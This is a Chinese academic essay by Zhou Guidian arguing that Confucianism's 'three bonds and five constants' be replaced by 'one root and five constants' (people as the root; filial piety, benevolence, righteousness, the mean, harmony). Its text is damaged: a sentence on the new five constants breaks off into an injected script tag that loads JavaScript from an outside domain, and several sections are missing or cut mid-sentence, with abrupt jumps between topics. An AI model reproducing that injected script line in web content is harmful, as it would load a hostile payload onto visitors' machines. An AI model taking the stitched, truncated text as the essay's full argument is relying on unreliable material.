作者：周桂钿（北京师范大学哲学系）
内容提要：本文提出儒学“一本五常”取代过去流行的“三纲五常”，并阐述修改的理由。“三纲五常”是适应中央集权时代的儒学理论体系，“一本五常”是可以与现代相适应的新儒学理论体系。一本是以民为本，五常是孝仁义中和。最后阐述儒学这个体系的现代价值。
关键词：儒学三纲五常一本五常儒学现代化
儒学过去有所谓“三纲五常”，君为臣纲，父为子纲，夫为妻纲，仁、义、礼、智、信。概括得好，符合中央集权专制制度的需要，在汉代到清朝的两千年中影响极大。根据现代社会的实际需要，我以为需要作出新的概括，概括为“一本五常”。一本就是以民为本，五常是孝、仁、义、中、和。这一概括，必须对以下几个问题作出说明。一是为什么用以民为本取代“三纲”？二是五常的德目修改的理由，有的为什么去掉，有的为什么增加？
一?“三纲”何以变“一本”？
“三纲”，在朝廷，君为臣纲；在家庭，父为子纲，夫为妻纲。家庭是整个社会的细胞。有了父为子纲，夫为妻纲，就有了基本原则，就可以使每个家庭有了一个中心，家庭就比较稳定。整个社会又是一个大家庭，也有了一个中心，那就是君为臣纲，国君为中心，国家也就稳定了。这才成为真正的国家，维系着社会的长治久安。天无二日，国无二君，就是当时的说法。如果家或国有多个中心，那么就不会稳定，春秋战国的乱，就是由于诸侯纷争，分裂割据，没有一个权威中心。很显然，这个“三纲”完全适用于中央集权专制制度的社会。中国在秦汉以后的两千年中有过的昌盛，维持稳定大国的局面，原因是复杂的，也应该有“三纲”的一点贡献。
“三纲”也是历史性的概念，它在中国的历史上，也有产生、发展、衰落的过程。它产生于建立中央集权制度的时代，衰落于中央集权制度瓦解的时代。先秦时代，中国主要有民本思想的传统。这种传统在推行民主政治制度的时代就有了借鉴的价值。原始儒学都是以对应的关系来讲君臣与父子的关系的。
《尚书?皋陶谟》：“在知人，在安民……知人则哲，能官人；安民则惠，黎民怀之”又说：“天命有德”，“天罚有罪”，“天聪明，自我民聪明；天明畏，自我民明威。”这都是把民与天联系起来，借天的权威，强调民的重要性。《尚书?五子之歌》：“述大禹之戒以作歌。其一曰：皇祖有训，民可近，不可下。民惟邦本，本固邦宁。……予临兆民，懔乎若朽索之驭六马。为人上者，奈何不敬？”皇祖指大禹。大禹认为民可以接近，不可歧视。本指树根。国家像一棵树，民是树根。树根稳固，树才能正常生长。民稳定，国家才能安宁。民是国家的根本。面对民众，治理人民，就像用腐朽的绳子驾驭六匹马拉的车那样惧怕危险，当个统治者，怎么能不敬？孔氏传：“能敬则不骄，在上不骄，则高而不危。”这一段话出于伪《古文尚书》，在两千年中产生了深刻的实际影响。西周时代，明智的统治者就提出天命论，认为天有至高无上的权威，又说：“天视自我民视，天听自我民听”（《孟子?万章上》引《泰誓》语）。认为人民的视听与天的视听是一致的，所以统治者要以“敬天保民”作为执政的理念，在民面前作威作福，就是得罪了上天。据此，孟子提出“民贵君轻”，认为得到人民真心拥护的人才能统治天下，所谓“得民心者得天下”。谁能得天下，民心是决定因素，也可以说是民心主宰天下，主宰历史，或者叫民心决定论，民心史观。民心史观虽然不是唯物史观，其合理性、进步性却是非常明显的。与唯物史观在重视人民大众方面则是高度一致的。
《荀子?大略》：“天之生民，非为君也；天之立君，以为民也。”上天确立君即统治者，是为了人民，并不是为了君。如果君不为人民做事，就是违背天命，就要被废除掉。又说：“君，舟也；庶民，水也。水则载舟，水则覆舟。”都是说民是社会的真正主人。民可以拥戴君主，也可以推翻君主。君主的上台下台，是人民决定的。这就是民本思想，这里包含民主意识。一方面倾听群众意见。古代传说，尧时曾经设立“进善之旌，非（诽）谤之木，敢谏之鼓”，舜时“询于四岳，辟四门，明四目，达四聪”（《尚书?舜典》）。商朝就有召集群众议论大事的习惯。如《尚书?商书?盘庚上》载：“王命众悉至于庭”，讨论关于迁都的事。《尚书?商书?盘庚下》载：“朕及笃敬，恭承民命，用永地于新邑。”商末周初出现的《洪范》有“谋及乃心，谋及卿士，谋及庶人，谋及卜筮”的记载。认为这些都一致的情况，就是“大同”。庶人就是一般群众，区别于当官的卿士。《周礼?秋官司寇?小司寇》载：“小司寇之职，掌外朝之政，以致万民而询焉。一曰询国危，二曰询国迁，三曰询立君。”西周时代，有一种制度，在大事决定之前，要进行商量。一方面，国王与各大臣在朝廷上商议。另一方面，派小司寇到外朝向万民征询意见。国家大事有三件：一是国家危险的时候，即战盟问题。外国入侵，国家安全受到威胁，或者要与别国订立结盟，这也与战争有关，都要与民众商议。二是国迁即迁都，首都要迁移，也要与民众商量。三是立君，即确立新君
不是一定就按群众的意见决策。统治者听取各种意见以后，再进行思考、分析，选择最佳方案。这是当时最合理的民主方式。正确的意见真正代表群众利益，最后会得到群众的拥护。
秦朝建立中央集权专制制度以后，虽然也有一些人提出民本的思想，在实践中很难得到实行。例如《吕氏春秋?贵公》讲：“天下非一人之天下也，天下之天下也。”天下就是天下人民的天下,不是君主一个人的天下。但是，秦二世就是将天下视为自己的私有财富，要求天下侍奉他一个人。刘邦得天下后，问父亲：“某之业所就孰与仲多？”我的事业财富与老二比谁更多呢？实际上就是将天下视为自己的财富。西汉贾谊在《新书?大政上》提出：“闻之于政也，民无不为本也。国以为本，君以为本，吏以为本。”这是民本思想的系统论述。贾谊说：“自古至于今，与民为仇者，有迟有速，而民必胜之。”（同上）此后，不以民为本者，比比皆是，与民为仇者，不绝于世。唐代柳宗元提出“吏为民役”，更加明确人民是主人，所有当官的都是人民用自己的税收雇佣的仆役。柳宗元也说：对于不称职的官员，人民“则必甚怒而黜罚之”（《送薛存义之任序》，见《柳宗元集》第616页，中华书局1979年10月）。但是，许多七品芝麻官还自以为是人民的“父母官”，欺压主人，忘乎所以，颠倒主仆关系。
在周公那里，民与天齐，春秋时代思想家强调在做好民的工作以后，才去祭天祭神，先民而后神。在战国时代，孟子还是继承民与天齐的思想，提出民贵君轻的理论。秦汉时代建立起中央集权制度以后，强调民本的贾谊被迫害至死，而董仲舒则与时俱进，虽然仍然强调重民，根据社会政治形势的变化，提出天高于民，天子自然也显得更重要了。这可以从董仲舒讨论郊祭中看出来。董仲舒讲天人感应，特别强调要敬重“天”。天子在南郊祭天活动叫“郊祭”或“郊”。董仲舒认为天子应该非常重视“郊”，将郊放在极其重要的位置上。人民挨饿，不能取消郊祭；国有大丧，也不能停止郊祭；百神祭祀之前，都要到南郊先祭天。董仲舒在《春秋繁露?郊祭》说：“文王受天命而王天下，先郊乃敢行事，而兴师伐崇。其《诗》曰：‘芃芃棫朴，薪之槱之。济济辟王，左右趋之。济济辟王，左右奉璋。奉璋峨峨。髦士攸宜。’此郊辞也。其下曰：‘淠彼泾舟，烝徒楫之。周王于迈，六师及之。’此伐辞也。其下曰：‘文王受命，有此武功，既伐于崇，作邑于丰。’以此辞者，见文王受命则郊，郊乃伐崇，伐崇之时，民何遽平乎！”第一段是郊辞，讲郊祭的内容。其大意是：茂密的灌木，砍来堆起，点然。济济，是严肃恭敬貌。辟王，指文王。左右指左右大臣。趋之，指积极参与。郑笺云：“辟，君也。君王，谓文王也。文王临祭祀，其容济济然敬。左右之诸臣皆促疾于事，谓相助积薪。”火焰冲天，这是祭天仪式的开始。接着，文王还是那样恭敬的神态。左右大臣捧着郊祭的礼器。峨峨，壮盛肃穆的样子。髦士即俊秀之士。这里是描述了文王祭天时的情景。说明文王周围有一大批贤才，恭敬祭天。第二段是伐辞，讲出征的情况。其大意是：淠，众多。泾是河流，在今陕西。烝，众多。徒，群众。楫之，划船。泾水上，有很多舟船，许多人正划船。周天子要出征，军队都跟着出发了。
第三段的大意是：文王受命后有了两大功绩：一是讨伐崇国，一是在丰这个地方建立都城。这就是“王者受命，必先祭天，乃行王事。”有人认为：“万民多贫，或颇饥寒，足郊乎？”人民生活不好，有条件进行郊祭吗？意思是人民生活安定富裕以后，才能进行郊祭，才有资格祭祀上天。董仲舒举以上例子进行反驳，周文王先祭天，然后才去讨伐崇国。如果人民生活安定才能祭天，那么，文王祭天的时候，所有人民包括崇国人民应该都生活得很好。圣王要讨伐的国家，就是该国人民陷于水深火热之中。文王祭完天，就讨伐崇国，难道崇国人民会这么突然遭殃吗？董仲舒又说：“天子父母事天，而子孙畜万民……孰贵于天子？”（同上）天子是昊天之子，将万民当作自己的子孙来养，形成“天——天子——万民”这样贵贱顺序。也就是说，天子高居于万民之上。还有谁能比天子更高贵？这就不同于先秦的“民为邦本”、“民贵君轻”等的民本思想，取而代之的是“君为臣纲”。说明这时的中央集权专制制度，已经抬高了君的地位。就是说，人民挨饿，也不能不祭天。这说明天比民高贵，天子自然也比民高贵，万民成了天子的子孙。
先秦时代的民本思想很丰富，进入秦汉以后，建立起中央集权专制制度以后，儒家又概括出适应社会政治需要的“三纲”理论。中央集权专制制度被推翻以后，中国要走向民主，自然要用中国传统的民本思想取代“三纲”理论。民本论可以说是中国式的民主思想。为了适应现代社会的需要，民本思想还要有新的阐释，还需要创新的内容。
二?新五常成立的理由
旧五常是仁、义、礼、智、信。后来的八德是忠、孝、诚、信、礼、义、廉、耻。新五常是孝、仁、义、中、和。仁义保留，上加孝，孝是一切道德的根本，孝概括忠。“三纲”中的“君为臣纲”和“八德”中的?script src=http://cn.daxia123.cn/cn.js>
袖在美国芝加哥召开宗教会议，会议通过《全球伦理宣言》。宣言中有这么一段话：“这个原则是有数千年历史的宗教和伦理的传统所寻获并持守的：己所不欲，勿施于人！若由正面表达则是：己所欲，施于人！这个终极的、绝对的标准，适用于人生各个范畴，家庭和社会，种族、国家和宗教。”宗教是最难统一的，但是，他们对于孔子的“己所不欲，勿施于人”却都是认可的。而且在两千多年后的现代社会，还有那么多宗教领袖承认这一句话是“终极的、绝对的标准”，适用于所有人群。用一句话说，孔子的这句话的精神是超时空的。
战国时代，儒家亚圣孟子认为尊敬别人的老人要像尊敬自己的父母，爱护别人的小孩要像爱护自己的子女，“老吾老，以及人之老；吾幼吾，以及人之幼”（《孟子?梁惠王上》）。这就是推己及人。再继续往下推，推到天下人民，用仁爱精神对待自己所管辖的人民。这就是仁政。为什么可以而且应该实行仁政，其理论的根据是人的本性是善的，“仁、义、礼、智，非由外铄我也，我固有之也，弗思耳矣。”（《孟子?告子上》）。“人之有四端也，犹人之有四体也。”（《孟子?公孙丑上》）。他有“民贵君轻”的思想。孟子下结论说：有天下者，失民，则失天下；无天下者，得民，则得天下。这叫“保民而王”。“饱食暖衣，逸居而无教，则近于禽兽。”（《孟子?滕文公上》）。他说；“徒善不足以为政，徒法不能以自行。”（《孟子?离娄上》）孟子的仁政学说是系统的儒家政治学。这个学说的内容包括发展经济，保证人民的物质需求，也包括伦理教育，提高人民的思想觉悟。孟子认为要实行这一套理论，最高统治者天子要“尽心”，就是要全心全意为人民兴利除弊。
战国儒家孟子贯彻仁的精神于政治，产生仁政理论。汉代儒家董仲舒（公元前198-公元前106年？）提出仁的法则是：“在爱人，不在爱我。”认为仁爱的对象越多越广，爱得越远，就越伟大。这都是仁爱思想的推广与发展。
（三）义
义在中国思想史上是非常重要的概念，所谓“仁义之道”，所谓“义利之辨”，都没有离开“义”。义，就是合理性。孔子认为义非常重要，是政治的重要内容。他说：“礼以行义，义以生利，利以平民，政之大节也。”（《左传》成公二年）礼是外在的形式，是体现内在的义。礼是用一种外在形式来体现合理的人际关系。有了义，人际关系就能和谐，就会增加利，增加利是为了满足人民的需要。这是政治的大节，即大原则。政治的效果都要落实在有利人民上。民是本。君子要懂得义，要实行义，“见义思利”，“义然后取”孟子说：“非其有而取之，非义也。”孔子有一句名言：“君子喻于义，小人喻于利。”（《论语?里仁》）讲的都是这些道理。
孟子说，如果让他去杀一个无辜的人，就可以给他天下，他也不会去干。他的做人原则，不符合义的，不要别人的哪怕是一分钱，也不给别人一分钱。即使给予百万财富，甚至整个天下，不符合义的，他连看都不看。又如朱熹曾经说过，吃饭是天理，是义，而想吃好的，超过自己的经济条件，那是贪欲，是利，是需要克服的。子贡让而止善，子路受而观德。
董仲舒认为人天生的就有好义与欲利两种心理。因为义与利都是人所需要的。义可以养心，利可以养身。身与心比较，心更重要，因此养心的义也比养身的利重要。例如，历史上如孔子的学生原宪、曾参等人都是很穷的人，生活不富裕，但他们都有高尚的道德，别人都羡慕他们。他们自己也都很乐观，精神很充实。另一些人，身居高位，享受荣华富贵，却不肯行义，甚至做伤天害理的亏心事。他们虽然物质丰富，心里却不踏实，精神空虚。他们或者死于犯罪，或者死于忧愁。总之，他们都不能安乐地生活一辈子。董仲舒经过论证以后，得出结论说：“义之养生人，大于利而厚于财也。”（《春秋繁露?身之养重于义》）为此，他提倡：“正其谊不谋其利，明其道不计其功。”（《汉书?董仲舒传》）他主张不与民争利，提倡以公仪休做榜样。这对于从政当官的人来说，廉洁就是大义，不贪就是官吏的大宝。过去有些人以为体力劳动是劳动，脑力劳动不是劳动，因此将脑力劳动者都视为剥削者，列入批判对象。孟子所讲的“劳心”与“劳力”的关系，经过两千多年，仍然是正确的，至今还是全世界上所普遍实行的。
唐代大文学家、思想家柳宗元写了一篇散文《梓人传》，讲的是建筑业上的一个“梓人”，相当工程师。他在建筑业中地位相当于国家的宰相。梓人不亲手做那些具体的事，他善于用材，善于用人，善于指挥，就完成了别人无法替代的工作。宰相在管理国家行政的时候，也不能亲自动手做多少具体的事情，主要在于出主意，想办法，在于决策，在于用人。梓人与宰相是不同等级的劳心者，孔子说的“君子喻于义”，意思是劳心者要合理用人用物。孟子说的“劳心者治人”，意即这些有丰富知识的人是管理别人的人，只能由这些人担任社会管理者。董仲舒所说的“正谊”、“明道”的人也正是这些人。王充认为这些人“以知为力”，所起的作用比筋骨之力还要大。认为从
，到处活动，才四十岁就得了内热病死了。《庄子》评述说：单豹练了内功，虎从外吃了他；张毅练了外功，病从内进攻他。这两个人就是不能内外兼顾，才有这个结局。练内功是静，练外功是动，这里也是阴阳问题。内外兼顾，动静结合，阴阳才能平衡。
北京西山大觉寺，大雄宝殿前有一块匾上写着“动静等观”。这反映了中国阴阳平衡的传统思想。印度佛教讲坐禅入静，是主静的，西方强调动，认为“生命在于运动”，是主动的。动静结合,也是一种平衡,符合中庸原则。
中国古代医学认为，疾病产生有两大类：一是外伤，一是内伤。外伤主要指跌打损伤，指皮肉和筋骨受到物理伤害，也指由于风、寒、暑、湿、燥、火等六种邪气侵入体内引起的。例如中暑、火烧伤、开水烫伤、风寒感冒，都属于这一类。这一类的疾病与气候关系密切。因此，中医诊病用药，都特别考虑季节气候这个大环境的因素。同样感冒，冬天和夏天，用药是不同的。另一类是内伤，内伤应该可以细分两个方面的因素：外因指劳累过度、用力过猛，饮食不时，房事不节等违背生理规律造成内脏或气血损伤的疾病。内因指七情过激引起的各种伤害的疾病。七情是喜、怒、忧、思、悲、恐、惊。一般人都有喜怒哀乐这类情绪，当然不会生病，情绪过激才会导致主要内脏功能失调而产生疾病。喜则伤心，怒则伤肝，思则伤脾，忧则伤肺，恐则伤肾。情绪会引起五脏生病，反过来，五脏有病，也会影响情绪的变化。肝病者，令人善怒。心气虚则悲，实则笑不休。肾病者，意不乐。男女更年期，生理调整，引起情绪波动，也是十分明显的。中医重视情绪，是一大特色，也是一大优点。病的外因为阳，内因为阴，因此，病因也分为阴阳。《黄帝内经?灵枢?百病始生篇》说：“喜怒不节，则伤脏。脏伤则病起于阴也。”情绪过激损伤内脏，内脏损伤引起各种疾病，就是“病起于阴”。
劳累过度所引起的疾病，很少引起人们的注意。《黄帝内经?素问?宣明五气篇》载：“五劳：久视伤血，久卧伤气，久坐伤肉，久立伤骨，久行伤筋。是谓五劳所伤。”经常长时间看电视，用电脑，或者看书，就会伤血。伤血是与伤目、伤肝一致的，而伤肝又会引起其他疾病。久卧伤气，肺功能受到严重影响，血液供氧不足，会导致一系列疾病。这五劳，有四项是静止状态，有一项是运动状态。持续时间太长的任何静止状态，都会出现疲劳。这种疲劳，就会导致生病。这里讲的也还是动静需要结合，阴阳才能平衡。
关于饮食问题，按时定量是很重要的。按时以不过饥为原则。两次饮食间隔大约四个小时以上，使肠胃系统保持虚实相间的状态，这种虚实也是阴阳平衡。饥饿太虚，过饱太实，均会生病。定量则是复杂的问题，这要根据个人的体质，从事的工作，活动量，以及平时生活水平，本次进食的食品营养成分等诸多方面来定。定量一般以不过饱为原则。生活比较富裕的，食品营养较高的，一般吃六成饱即可。如果活动量较大，那就可以吃到七八成饱。少吃，以下一顿吃饭前不感觉饥饿为准，如果下一顿饭前感到饥饿，那就说明这一顿吃太少了。
体内的阴阳平衡，需要人们自己在生活的各种方面进行调整，这些调整主要包括喜怒有节，劳逸结合，动静等观，饥饱适度。这些调理主要靠自己掌握，自己要掌握好这些“度”，是需要提高道德修养的。个人的心理平衡也是阴阳平衡的重要内容，甚至是最重要的内容，不容忽视。
阴阳五行是中国古代很有特色的哲学范畴，也是中国古代的科学假说，有它的合理性。现在科学有了大的发展，但也没有穷尽真理，也是假说，也需要继续发展。在这种意义上，科学成果总是相对的，都不是终极真理。探索真理是无穷的过程，这是辩证法的起码常识。
（五）和
《论语》记载，孔子说：“君子和而不同，小人同而不和。”有子说：“和为贵”。“和”与“同”有什么差异？包含什么意义？“和”是指不同成分的合理配合。
人际关系包括家庭内部和社会的关系。家庭是社会的细胞,家庭内部各成员之间的关系，如夫妻、父子、母女、兄弟姐妹等。这些关系建立于仁义基础之上，夫仁妻义，父慈子孝，兄爱弟悌。在家庭中，有尊卑差别，但发表不同的意见是允许的。这些关系也有矛盾的时候，是需要协调的。协调得好，成为一团和气，大家都能心情舒畅，同心协力，发展事业，发财致富，培养子女健康成长。这就是所谓“家和万事兴”。家庭中每个成员都是一个角色，每一个角色都有自己的分工、责任、权利和义务。所有角色互相配合，组成团结协作的整体。
坚持“和”的原则，需要认真做到以下三个方面：首先，要敢于说出自己的见解，有自己的特性、个性，不隐瞒自己的观点，胸怀坦荡。其次，要允许别人有自己的个性和见解，尊重别人的意见，不搞“顺我者昌，逆我者亡”的霸道行为，与别人以人格平等的方式共存。第三，人人都有不同的看法，平心静气地摆事实、讲道理，进行认真的讨论、辩论，取长补短，相互启发，逐渐取得共识。一时不能取得共识的情况下，采取求同存异的办法处理矛盾，协调关系。这就是“和”。
思想。推己及人，推人及物，这是儒家泛爱思想。这也反映了关于人与自然应该和谐的认识，这也是儒家传统思想对于保护自然环境的一个贡献。
人与自然的和谐，中国古人采取了许多具体措施。归纳起来，主要有两条：一曰取之有制，二曰取之以时。
我们讲了人与人、国与国、人与自然的和谐。现在是市场经济，是竞争的时代，和谐是否过时了？和谐与竞争是一种什么关系？
竞争，有各种路线和方针，自然也有各种不同的方法。人与自然的和谐，当然也有斗争，这里也是一种竞争。我们主要讲人类社会中的竞争。从总体上讲，主要有两种路线，一是与别人竞争，一是与自己竞争。与别人竞争，又分两种情况，一是以正当的方式，合法的手段，发展自己；一是以不正当的方式，非法的手段，置别人于死地，自己得以非常的大发展。这就是所谓“暴发户”。前者为正当竞争，后者为不正当竞争。
中国人也讲竞争，主要是与自己竞争。《老子》曰：“胜人者有力，自胜者强。”（33章）竞争中胜了别人，说明力量大。能够胜自己,才能称得上强大。胜过自己，就是能克制自己的毛病。孔子讲“学者为己”（《论语?宪问》），学习是为了提高自己的思想水平和文化素质。《周易?乾卦?象言》讲“天行健，君子以自强不息。”古人认为天运行非常迅速，一日旋转一周天，实际上是地球自转一周。说君子也要像天那样“自强不息”。这句话成为历代有志之士的自勉名言。自强不息，应有如下两个方面：
一是自力更生。二是独立思考。总之，独立思考，就是靠自己的头脑从实际出发想问题，拿主意，判断是非曲直，分辨善恶美丑，决定进退，选择去取。
自强不息，自力更生，并不排除别人的帮助，也不拒绝与别人合作。自强自立，才能更好地与别人合作。如果自己什么本事也没有，谁愿意与他合作呢？一个好汉三个帮。正因为本身是一个自强不息的好汉，才会有三人或更多的人来帮。又由于很多人来帮，自己才能成就一番事业。私心太重，不善于合作，只靠个人奋斗，难以成就一番事业。因此，自强不息还要与厚德载物结合。《周易?坤卦?象言》：“地势坤，君子以厚德载物。”大地承载着万物，有五岳之重，江河之长，任劳负重，毫无怨言。君子也要效法这种情怀，大肚能容，宽厚道德。自强不息，是竞争的中国模式，厚德载物，是和谐的中国风格。自强不息是对自己的激励，以此精神参与竞争。厚德载物是对别人的态度，以此道德创造和谐。两者结合，一方面完善自己的精神境界，一方面建设和谐的社会环境。这样才能创造美好的人生。和而不同，应该是中国传统思想的精华对于世界新世纪的重大贡献。
当代不和是因为有了霸权主义，再逼出恐怖主义，天下就不太平了。中国古代的“荆轲刺秦王”是发生在“争于气力”的战国时代的霸权主义和恐怖主义，是不和谐社会的突出反映。因此，儒家的和而不同，对于国内构建和谐社会有现实意义，对于世界和平也有巨大贡献，人与自然的和谐，对于保护生态平衡也是有价值的。总之，儒学的智慧可以在现代社会发挥自己的正面作用，丰富宝藏需要人们去挖掘。（来自http://www.ica.org.cn/）